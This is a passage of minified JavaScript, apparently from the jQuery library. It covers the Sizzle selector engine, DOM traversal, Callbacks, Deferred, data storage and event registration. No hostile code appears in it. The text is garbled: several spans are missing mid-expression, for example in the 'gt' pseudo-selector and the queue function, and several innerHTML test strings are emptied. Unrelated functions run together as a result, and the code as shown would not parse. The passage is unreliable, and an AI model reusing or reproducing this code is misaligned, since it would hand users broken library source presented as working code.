b=e.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&o.push("name"+K+"*[*^$|!~]?="),a.querySelectorAll(":enabled").length||o.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),o.push(",.*:")})),(c.matchesSelector=Y.test(q=m.webkitMatchesSelector||m.mozMatchesSelector||m.oMatchesSelector||m.msMatchesSelector))&&gb(function(a){c.disconnectedMatch=q.call(a,"div"),q.call(a,"[s!='']:x"),p.push("!=",O)}),o=o.length&&new RegExp(o.join("|")),p=p.length&&new RegExp(p.join("|")),b=Y.test(m.compareDocumentPosition),r=b||Y.test(m.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b){while(b=b.parentNode){if(b===a){return !0}}}return !1},z=b?function(a,b){if(a===b){return j=!0,0}var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===e||a.ownerDocument===t&&r(t,a)?-1:b===e||b.ownerDocument===t&&r(t,b)?1:i?I.call(i,a)-I.call(i,b):0:4&d?-1:1)}:function(a,b){if(a===b){return j=!0,0}var c,d=0,f=a.parentNode,g=b.parentNode,h=[a],k=[b];if(!f||!g){return a===e?-1:b===e?1:f?-1:g?1:i?I.call(i,a)-I.call(i,b):0}if(f===g){return ib(a,b)}c=a;while(c=c.parentNode){h.unshift(c)}c=b;while(c=c.parentNode){k.unshift(c)}while(h[d]===k[d]){d++}return d?ib(h[d],k[d]):h[d]===t?-1:k[d]===t?1:0},e):l},db.matches=function(a,b){return db(a,null,null,b)},db.matchesSelector=function(a,b){if((a.ownerDocument||a)!==l&&k(a),b=b.replace(S,"='$1']"),!(!c.matchesSelector||!n||p&&p.test(b)||o&&o.test(b))){try{var d=q.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType){return d}}catch(e){}}return db(b,l,null,[a]).length>0},db.contains=function(a,b){return(a.ownerDocument||a)!==l&&k(a),r(a,b)},db.attr=function(a,b){(a.ownerDocument||a)!==l&&k(a);var e=d.attrHandle[b.toLowerCase()],f=e&&C.call(d.attrHandle,b.toLowerCase())?e(a,b,!n):void 0;return void 0!==f?f:c.attributes||!n?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},db.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},db.uniqueSort=function(a){var b,d=[],e=0,f=0;if(j=!c.detectDuplicates,i=!c.sortStable&&a.slice(0),a.sort(z),j){while(b=a[f++]){b===a[f]&&(e=d.push(f))}while(e--){a.splice(d[e],1)}}return i=null,a},e=db.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent){return a.textContent}for(a=a.firstChild;a;a=a.nextSibling){c+=e(a)}}else{if(3===f||4===f){return a.nodeValue}}}else{while(b=a[d++]){c+=e(b)}}return c},d=db.selectors={cacheLength:50,createPseudo:fb,match:V,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(ab,bb),a[3]=(a[4]||a[5]||"").replace(ab,bb),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||db.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&db.error(a[0]),a},PSEUDO:function(a){var b,c=!a[5]&&a[2];return V.CHILD.test(a[0])?null:(a[3]&&void 0!==a[4]?a[2]=a[4]:c&&T.test(c)&&(b=ob(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(ab,bb).toLowerCase();return"*"===a?function(){return !0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=w[a+" "];return b||(b=new RegExp("(^|"+K+")"+a+"("+K+"|$)"))&&w(a,function(a){return b.test("string"==typeof a.className&&a.className||typeof a.getAttribute!==A&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=db.attr(d,a);return null==e?"!="===b:b?(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e+" ").indexOf(c)>-1:"|="===b?e===c||e.slice(0,c.length+1)===c+"-":!1):!0}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return !!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),t=!i&&!h;if(q){if(f){while(p){l=b;while(l=l[p]){if(h?l.nodeName.toLowerCase()===r:1===l.nodeType){return !1}}o=p="only"===a&&!o&&"nextSibling"}return !0}if(o=[g?q.firstChild:q.lastChild],g&&t){k=q[s]||(q[s]={}),j=k[a]||[],n=j[0]===u&&j[1],m=j[0]===u&&j[2],l=n&&q.childNodes[n];while(l=++n&&l&&l[p]||(m=n=0)||o.pop()){if(1===l.nodeType&&++m&&l===b){k[a]=[u,n,m];break}}}else{if(t&&(j=(b[s]||(b[s]={}))[a])&&j[0]===u){m=j[1]}else{while(l=++n&&l&&l[p]||(m=n=0)||o.pop()){if((h?l.nodeName.toLowerCase()===r:1===l.nodeType)&&++m&&(t&&((l[s]||(l[s]={}))[a]=[u,m]),l===b)){break}}}}return m-=e,m===d||m%d===0&&m/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||db.error("unsupported pseudo: "+a);return e[s]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?fb(function(a,c){var d,f=e(a,b),g=f.length;while(g--){d=I.call(a,f[g]),a[d]=!(c[d]=f[g])}}):function(a){return e(a,0,c)}):e}},pseudos:{not:fb(function(a){var b=[],c=[],d=g(a.replace(P,"$1"));return d[s]?fb(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--){(f=g[h])&&(a[h]=!(b[h]=f))}}):function(a,e,f){return b[0]=a,d(b,null,f,c),!c.pop()}}),has:fb(function(a){return function(b){return db(a,b).length>0}}),contains:fb(function(a){return function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:fb(function(a){return U.test(a||"")||db.error("unsupported lang: "+a),a=a.replace(ab,bb).toLowerCase(),function(b){var c;do{if(c=n?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang")){return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-")}}while((b=b.parentNode)&&1===b.nodeType);return !1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===m},focus:function(a){return a===l.activeElement&&(!l.hasFocus||l.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling){if(a.nodeType<6){return !1}}return !0},parent:function(a){return !d.pseudos.empty(a)},header:function(a){return X.test(a.nodeName)},input:function(a){return W.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:lb(function(){return[0]}),last:lb(function(a,b){return[b-1]}),eq:lb(function(a,b,c){return[0>c?c+b:c]}),even:lb(function(a,b){for(var c=0;b>c;c+=2){a.push(c)}return a}),odd:lb(function(a,b){for(var c=1;b>c;c+=2){a.push(c)}return a}),lt:lb(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;){a.push(d)}return a}),gt:lb(function(a,b,c){for(var d=0>c?c+b:c;++db;b++){d+=a[b].value}return d}function qb(a,b,c){var d=b.dir,e=c&&"parentNode"===d,f=v++;return b.first?function(b,c,f){while(b=b[d]){if(1===b.nodeType||e){return a(b,c,f)}}}:function(b,c,g){var h,i,j=[u,f];if(g){while(b=b[d]){if((1===b.nodeType||e)&&a(b,c,g)){return !0}}}else{while(b=b[d]){if(1===b.nodeType||e){if(i=b[s]||(b[s]={}),(h=i[d])&&h[0]===u&&h[1]===f){return j[2]=h[2]}if(i[d]=j,j[2]=a(b,c,g)){return !0}}}}}}function rb(a){return a.length>1?function(b,c,d){var e=a.length;while(e--){if(!a[e](b,c,d)){return !1}}return !0}:a[0]}function sb(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++){(f=a[h])&&(!c||c(f,d,e))&&(g.push(f),j&&b.push(h))}return g}function tb(a,b,c,d,e,f){return d&&!d[s]&&(d=tb(d)),e&&!e[s]&&(e=tb(e,f)),fb(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||wb(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:sb(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=sb(r,n),d(j,[],h,i),k=j.length;while(k--){(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}}if(f){if(e||a){if(e){j=[],k=r.length;while(k--){(l=r[k])&&j.push(q[k]=l)}e(null,r=[],j,i)}k=r.length;while(k--){(l=r[k])&&(j=e?I.call(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}}else{r=sb(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):G.apply(g,r)}})}function ub(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],i=g||d.relative[" "],j=g?1:0,k=qb(function(a){return a===b},i,!0),l=qb(function(a){return I.call(b,a)>-1},i,!0),m=[function(a,c,d){return !g&&(d||c!==h)||((b=c).nodeType?k(a,c,d):l(a,c,d))}];f>j;j++){if(c=d.relative[a[j].type]){m=[qb(rb(m),c)]}else{if(c=d.filter[a[j].type].apply(null,a[j].matches),c[s]){for(e=++j;f>e;e++){if(d.relative[a[e].type]){break}}return tb(j>1&&rb(m),j>1&&pb(a.slice(0,j-1).concat({value:" "===a[j-2].type?"*":""})).replace(P,"$1"),c,e>j&&ub(a.slice(j,e)),f>e&&ub(a=a.slice(e)),f>e&&pb(a))}m.push(c)}}return rb(m)}function vb(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,i,j,k){var m,n,o,p=0,q="0",r=f&&[],s=[],t=h,v=f||e&&d.find.TAG("*",k),w=u+=null==t?1:Math.random()||0.1,x=v.length;for(k&&(h=g!==l&&g);q!==x&&null!=(m=v[q]);q++){if(e&&m){n=0;while(o=a[n++]){if(o(m,g,i)){j.push(m);break}}k&&(u=w)}c&&((m=!o&&m)&&p--,f&&r.push(m))}if(p+=q,c&&q!==p){n=0;while(o=b[n++]){o(r,s,g,i)}if(f){if(p>0){while(q--){r[q]||s[q]||(s[q]=E.call(j))}}s=sb(s)}G.apply(j,s),k&&!f&&s.length>0&&p+b.length>1&&db.uniqueSort(j)}return k&&(u=w,h=t),r};return c?fb(f):f}g=db.compile=function(a,b){var c,d=[],e=[],f=y[a+" "];if(!f){b||(b=ob(a)),c=b.length;while(c--){f=ub(b[c]),f[s]?d.push(f):e.push(f)}f=y(a,vb(e,d))}return f};function wb(a,b,c){for(var d=0,e=b.length;e>d;d++){db(a,b[d],c)}return c}function xb(a,b,e,f){var h,i,j,k,l,m=ob(a);if(!f&&1===m.length){if(i=m[0]=m[0].slice(0),i.length>2&&"ID"===(j=i[0]).type&&c.getById&&9===b.nodeType&&n&&d.relative[i[1].type]){if(b=(d.find.ID(j.matches[0].replace(ab,bb),b)||[])[0],!b){return e}a=a.slice(i.shift().value.length)}h=V.needsContext.test(a)?0:i.length;while(h--){if(j=i[h],d.relative[k=j.type]){break}if((l=d.find[k])&&(f=l(j.matches[0].replace(ab,bb),$.test(i[0].type)&&mb(b.parentNode)||b))){if(i.splice(h,1),a=f.length&&pb(i),!a){return G.apply(e,f),e}break}}}return g(a,m)(f,b,!n,e,$.test(a)&&mb(b.parentNode)||b),e}return c.sortStable=s.split("").sort(z).join("")===s,c.detectDuplicates=!!j,k(),c.sortDetached=gb(function(a){return 1&a.compareDocumentPosition(l.createElement("div"))}),gb(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||hb("type|href|height|width",function(a,b,c){return c?void 0:a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&gb(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||hb("value",function(a,b,c){return c||"input"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),gb(function(a){return null==a.getAttribute("disabled")})||hb(J,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),db}(a);n.find=t,n.expr=t.selectors,n.expr[":"]=n.expr.pseudos,n.unique=t.uniqueSort,n.text=t.getText,n.isXMLDoc=t.isXML,n.contains=t.contains;var u=n.expr.match.needsContext,v=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,w=/^.[^:#\[\.,]*$/;function x(a,b,c){if(n.isFunction(b)){return n.grep(a,function(a,d){return !!b.call(a,d,a)!==c})}if(b.nodeType){return n.grep(a,function(a){return a===b!==c})}if("string"==typeof b){if(w.test(b)){return n.filter(b,a,c)}b=n.filter(b,a)}return n.grep(a,function(a){return n.inArray(a,b)>=0!==c})}n.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?n.find.matchesSelector(d,a)?[d]:[]:n.find.matches(a,n.grep(b,function(a){return 1===a.nodeType}))},n.fn.extend({find:function(a){var b,c=[],d=this,e=d.length;if("string"!=typeof a){return this.pushStack(n(a).filter(function(){for(b=0;e>b;b++){if(n.contains(d[b],this)){return !0}}}))}for(b=0;e>b;b++){n.find(a,d[b],c)}return c=this.pushStack(e>1?n.unique(c):c),c.selector=this.selector?this.selector+" "+a:a,c},filter:function(a){return this.pushStack(x(this,a||[],!1))},not:function(a){return this.pushStack(x(this,a||[],!0))},is:function(a){return !!x(this,"string"==typeof a&&u.test(a)?n(a):a||[],!1).length}});var y,z=a.document,A=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,B=n.fn.init=function(a,b){var c,d;if(!a){return this}if("string"==typeof a){if(c="<"===a.charAt(0)&&">"===a.charAt(a.length-1)&&a.length>=3?[null,a,null]:A.exec(a),!c||!c[1]&&b){return !b||b.jquery?(b||y).find(a):this.constructor(b).find(a)}if(c[1]){if(b=b instanceof n?b[0]:b,n.merge(this,n.parseHTML(c[1],b&&b.nodeType?b.ownerDocument||b:z,!0)),v.test(c[1])&&n.isPlainObject(b)){for(c in b){n.isFunction(this[c])?this[c](b[c]):this.attr(c,b[c])}}return this}if(d=z.getElementById(c[2]),d&&d.parentNode){if(d.id!==c[2]){return y.find(a)}this.length=1,this[0]=d}return this.context=z,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):n.isFunction(a)?"undefined"!=typeof y.ready?y.ready(a):a(n):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),n.makeArray(a,this))};B.prototype=n.fn,y=n(z);var C=/^(?:parents|prev(?:Until|All))/,D={children:!0,contents:!0,next:!0,prev:!0};n.extend({dir:function(a,b,c){var d=[],e=a[b];while(e&&9!==e.nodeType&&(void 0===c||1!==e.nodeType||!n(e).is(c))){1===e.nodeType&&d.push(e),e=e[b]}return d},sibling:function(a,b){for(var c=[];a;a=a.nextSibling){1===a.nodeType&&a!==b&&c.push(a)}return c}}),n.fn.extend({has:function(a){var b,c=n(a,this),d=c.length;return this.filter(function(){for(b=0;d>b;b++){if(n.contains(this,c[b])){return !0}}})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=u.test(a)||"string"!=typeof a?n(a,b||this.context):0;e>d;d++){for(c=this[d];c&&c!==b;c=c.parentNode){if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&n.find.matchesSelector(c,a))){f.push(c);break}}}return this.pushStack(f.length>1?n.unique(f):f)},index:function(a){return a?"string"==typeof a?n.inArray(this[0],n(a)):n.inArray(a.jquery?a[0]:a,this):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(n.unique(n.merge(this.get(),n(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function E(a,b){do{a=a[b]}while(a&&1!==a.nodeType);return a}n.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return n.dir(a,"parentNode")},parentsUntil:function(a,b,c){return n.dir(a,"parentNode",c)},next:function(a){return E(a,"nextSibling")},prev:function(a){return E(a,"previousSibling")},nextAll:function(a){return n.dir(a,"nextSibling")},prevAll:function(a){return n.dir(a,"previousSibling")},nextUntil:function(a,b,c){return n.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return n.dir(a,"previousSibling",c)},siblings:function(a){return n.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return n.sibling(a.firstChild)},contents:function(a){return n.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:n.merge([],a.childNodes)}},function(a,b){n.fn[a]=function(c,d){var e=n.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=n.filter(d,e)),this.length>1&&(D[a]||(e=n.unique(e)),C.test(a)&&(e=e.reverse())),this.pushStack(e)}});var F=/\S+/g,G={};function H(a){var b=G[a]={};return n.each(a.match(F)||[],function(a,c){b[c]=!0}),b}n.Callbacks=function(a){a="string"==typeof a?G[a]||H(a):n.extend({},a);var b,c,d,e,f,g,h=[],i=!a.once&&[],j=function(l){for(c=a.memory&&l,d=!0,f=g||0,g=0,e=h.length,b=!0;h&&e>f;f++){if(h[f].apply(l[0],l[1])===!1&&a.stopOnFalse){c=!1;break}}b=!1,h&&(i?i.length&&j(i.shift()):c?h=[]:k.disable())},k={add:function(){if(h){var d=h.length;!function f(b){n.each(b,function(b,c){var d=n.type(c);"function"===d?a.unique&&k.has(c)||h.push(c):c&&c.length&&"string"!==d&&f(c)})}(arguments),b?e=h.length:c&&(g=d,j(c))}return this},remove:function(){return h&&n.each(arguments,function(a,c){var d;while((d=n.inArray(c,h,d))>-1){h.splice(d,1),b&&(e>=d&&e--,f>=d&&f--)}}),this},has:function(a){return a?n.inArray(a,h)>-1:!(!h||!h.length)},empty:function(){return h=[],e=0,this},disable:function(){return h=i=c=void 0,this},disabled:function(){return !h},lock:function(){return i=void 0,c||k.disable(),this},locked:function(){return !i},fireWith:function(a,c){return !h||d&&!i||(c=c||[],c=[a,c.slice?c.slice():c],b?i.push(c):j(c)),this},fire:function(){return k.fireWith(this,arguments),this},fired:function(){return !!d}};return k},n.extend({Deferred:function(a){var b=[["resolve","done",n.Callbacks("once memory"),"resolved"],["reject","fail",n.Callbacks("once memory"),"rejected"],["notify","progress",n.Callbacks("memory")]],c="pending",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return n.Deferred(function(c){n.each(b,function(b,f){var g=n.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&n.isFunction(a.promise)?a.promise().done(c.resolve).fail(c.reject).progress(c.notify):c[f[0]+"With"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?n.extend(a,d):d}},e={};return d.pipe=d.then,n.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+"With"](this===e?d:this,arguments),this},e[f[0]+"With"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=d.call(arguments),e=c.length,f=1!==e||a&&n.isFunction(a.promise)?e:0,g=1===f?a:n.Deferred(),h=function(a,b,c){return function(e){b[a]=this,c[a]=arguments.length>1?d.call(arguments):e,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(e>1){for(i=new Array(e),j=new Array(e),k=new Array(e);e>b;b++){c[b]&&n.isFunction(c[b].promise)?c[b].promise().done(h(b,k,c)).fail(g.reject).progress(h(b,j,i)):--f}}return f||g.resolveWith(k,c),g.promise()}});var I;n.fn.ready=function(a){return n.ready.promise().done(a),this},n.extend({isReady:!1,readyWait:1,holdReady:function(a){a?n.readyWait++:n.ready(!0)},ready:function(a){if(a===!0?!--n.readyWait:!n.isReady){if(!z.body){return setTimeout(n.ready)}n.isReady=!0,a!==!0&&--n.readyWait>0||(I.resolveWith(z,[n]),n.fn.trigger&&n(z).trigger("ready").off("ready"))}}});function J(){z.addEventListener?(z.removeEventListener("DOMContentLoaded",K,!1),a.removeEventListener("load",K,!1)):(z.detachEvent("onreadystatechange",K),a.detachEvent("onload",K))}function K(){(z.addEventListener||"load"===event.type||"complete"===z.readyState)&&(J(),n.ready())}n.ready.promise=function(b){if(!I){if(I=n.Deferred(),"complete"===z.readyState){setTimeout(n.ready)}else{if(z.addEventListener){z.addEventListener("DOMContentLoaded",K,!1),a.addEventListener("load",K,!1)}else{z.attachEvent("onreadystatechange",K),a.attachEvent("onload",K);var c=!1;try{c=null==a.frameElement&&z.documentElement}catch(d){}c&&c.doScroll&&!function e(){if(!n.isReady){try{c.doScroll("left")}catch(a){return setTimeout(e,50)}J(),n.ready()}}()}}}return I.promise(b)};var L="undefined",M;for(M in n(l)){break}l.ownLast="0"!==M,l.inlineBlockNeedsLayout=!1,n(function(){var a,b,c=z.getElementsByTagName("body")[0];c&&(a=z.createElement("div"),a.style.cssText="border:0;width:0;height:0;position:absolute;top:0;left:-9999px;margin-top:1px",b=z.createElement("div"),c.appendChild(a).appendChild(b),typeof b.style.zoom!==L&&(b.style.cssText="border:0;margin:0;width:1px;padding:1px;display:inline;zoom:1",(l.inlineBlockNeedsLayout=3===b.offsetWidth)&&(c.style.zoom=1)),c.removeChild(a),a=b=null)}),function(){var a=z.createElement("div");if(null==l.deleteExpando){l.deleteExpando=!0;try{delete a.test}catch(b){l.deleteExpando=!1}}a=null}(),n.acceptData=function(a){var b=n.noData[(a.nodeName+" ").toLowerCase()],c=+a.nodeType||1;return 1!==c&&9!==c?!1:!b||b!==!0&&a.getAttribute("classid")===b};var N=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,O=/([A-Z])/g;function P(a,b,c){if(void 0===c&&1===a.nodeType){var d="data-"+b.replace(O,"-$1").toLowerCase();if(c=a.getAttribute(d),"string"==typeof c){try{c="true"===c?!0:"false"===c?!1:"null"===c?null:+c+""===c?+c:N.test(c)?n.parseJSON(c):c}catch(e){}n.data(a,b,c)}else{c=void 0}}return c}function Q(a){var b;for(b in a){if(("data"!==b||!n.isEmptyObject(a[b]))&&"toJSON"!==b){return !1}}return !0}function R(a,b,d,e){if(n.acceptData(a)){var f,g,h=n.expando,i=a.nodeType,j=i?n.cache:a,k=i?a[h]:a[h]&&h;if(k&&j[k]&&(e||j[k].data)||void 0!==d||"string"!=typeof b){return k||(k=i?a[h]=c.pop()||n.guid++:h),j[k]||(j[k]=i?{}:{toJSON:n.noop}),("object"==typeof b||"function"==typeof b)&&(e?j[k]=n.extend(j[k],b):j[k].data=n.extend(j[k].data,b)),g=j[k],e||(g.data||(g.data={}),g=g.data),void 0!==d&&(g[n.camelCase(b)]=d),"string"==typeof b?(f=g[b],null==f&&(f=g[n.camelCase(b)])):f=g,f}}}function S(a,b,c){if(n.acceptData(a)){var d,e,f=a.nodeType,g=f?n.cache:a,h=f?a[n.expando]:n.expando;if(g[h]){if(b&&(d=c?g[h]:g[h].data)){n.isArray(b)?b=b.concat(n.map(b,n.camelCase)):b in d?b=[b]:(b=n.camelCase(b),b=b in d?[b]:b.split(" ")),e=b.length;while(e--){delete d[b[e]]}if(c?!Q(d):!n.isEmptyObject(d)){return}}(c||(delete g[h].data,Q(g[h])))&&(f?n.cleanData([a],!0):l.deleteExpando||g!=g.window?delete g[h]:g[h]=null)}}}n.extend({cache:{},noData:{"applet ":!0,"embed ":!0,"object ":"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"},hasData:function(a){return a=a.nodeType?n.cache[a[n.expando]]:a[n.expando],!!a&&!Q(a)},data:function(a,b,c){return R(a,b,c)},removeData:function(a,b){return S(a,b)},_data:function(a,b,c){return R(a,b,c,!0)},_removeData:function(a,b){return S(a,b,!0)}}),n.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=n.data(f),1===f.nodeType&&!n._data(f,"parsedAttrs"))){c=g.length;while(c--){d=g[c].name,0===d.indexOf("data-")&&(d=n.camelCase(d.slice(5)),P(f,d,e[d]))}n._data(f,"parsedAttrs",!0)}return e}return"object"==typeof a?this.each(function(){n.data(this,a)}):arguments.length>1?this.each(function(){n.data(this,a,b)}):f?P(f,a,n.data(f,a)):void 0},removeData:function(a){return this.each(function(){n.removeData(this,a)})}}),n.extend({queue:function(a,b,c){var d;return a?(b=(b||"fx")+"queue",d=n._data(a,b),c&&(!d||n.isArray(c)?d=n._data(a,b,n.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||"fx";var c=n.queue(a,b),d=c.length,e=c.shift(),f=n._queueHooks(a,b),g=function(){n.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return n._data(a,c)||n._data(a,c,{empty:n.Callbacks("once memory").add(function(){n._removeData(a,b+"queue"),n._removeData(a,c)})})}}),n.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.lengthh;h++){b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)))}}}return e?a:j?b.call(a):i?b(a[0],c):f},X=/^(?:checkbox|radio)$/i;!function(){var a=z.createDocumentFragment(),b=z.createElement("div"),c=z.createElement("input");if(b.setAttribute("className","t"),b.innerHTML="
    a",l.leadingWhitespace=3===b.firstChild.nodeType,l.tbody=!b.getElementsByTagName("tbody").length,l.htmlSerialize=!!b.getElementsByTagName("link").length,l.html5Clone="<:nav>"!==z.createElement("nav").cloneNode(!0).outerHTML,c.type="checkbox",c.checked=!0,a.appendChild(c),l.appendChecked=c.checked,b.innerHTML="",l.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue,a.appendChild(b),b.innerHTML="",l.checkClone=b.cloneNode(!0).cloneNode(!0).lastChild.checked,l.noCloneEvent=!0,b.attachEvent&&(b.attachEvent("onclick",function(){l.noCloneEvent=!1}),b.cloneNode(!0).click()),null==l.deleteExpando){l.deleteExpando=!0;try{delete b.test}catch(d){l.deleteExpando=!1}}a=b=c=null}(),function(){var b,c,d=z.createElement("div");for(b in {submit:!0,change:!0,focusin:!0}){c="on"+b,(l[b+"Bubbles"]=c in a)||(d.setAttribute(c,"t"),l[b+"Bubbles"]=d.attributes[c].expando===!1)}d=null}();var Y=/^(?:input|select|textarea)$/i,Z=/^key/,$=/^(?:mouse|contextmenu)|click/,_=/^(?:focusinfocus|focusoutblur)$/,ab=/^([^.]*)(?:\.(.+)|)$/;function bb(){return !0}function cb(){return !1}function db(){try{return z.activeElement}catch(a){}}n.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=n._data(a);if(r){c.handler&&(i=c,c=i.handler,e=i.selector),c.guid||(c.guid=n.guid++),(g=r.events)||(g=r.events={}),(k=r.handle)||(k=r.handle=function(a){return typeof n===L||a&&n.event.triggered===a.type?void 0:n.event.dispatch.apply(k.elem,arguments)},k.elem=a),b=(b||"").match(F)||[""],h=b.length;while(h--){f=ab.exec(b[h])||[],o=q=f[1],p=(f[2]||"").split(".").sort(),o&&(j=n.event.special[o]||{},o=(e?j.delegateType:j.bindType)||o,j=n.event.special[o]||{},l=n.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&n.expr.match.needsContext.test(e),namespace:p.join(".")},i),(m=g[o])||(m=g[o]=[],m.delegateCount=0,j.setup&&j.setup.call(a,d,p,k)!==!1||(a.addEventListener?a.addEventListener(o,k,!1):a.attachEvent&&a.attachEvent("on"+o,k))),j.add&&(j.add.call(a,l),l.handler.guid||(l.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,l):m.push(l),n.event.global[o]=!0)}a=null}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=n.hasData(a)&&n._data(a);if(r&&(k=r.events)){b=(b||"").match(F)||[""],j=b.length;while(j--){if(h=ab.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o){l=n.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,m=k[o]||[],h=h[2]&&new 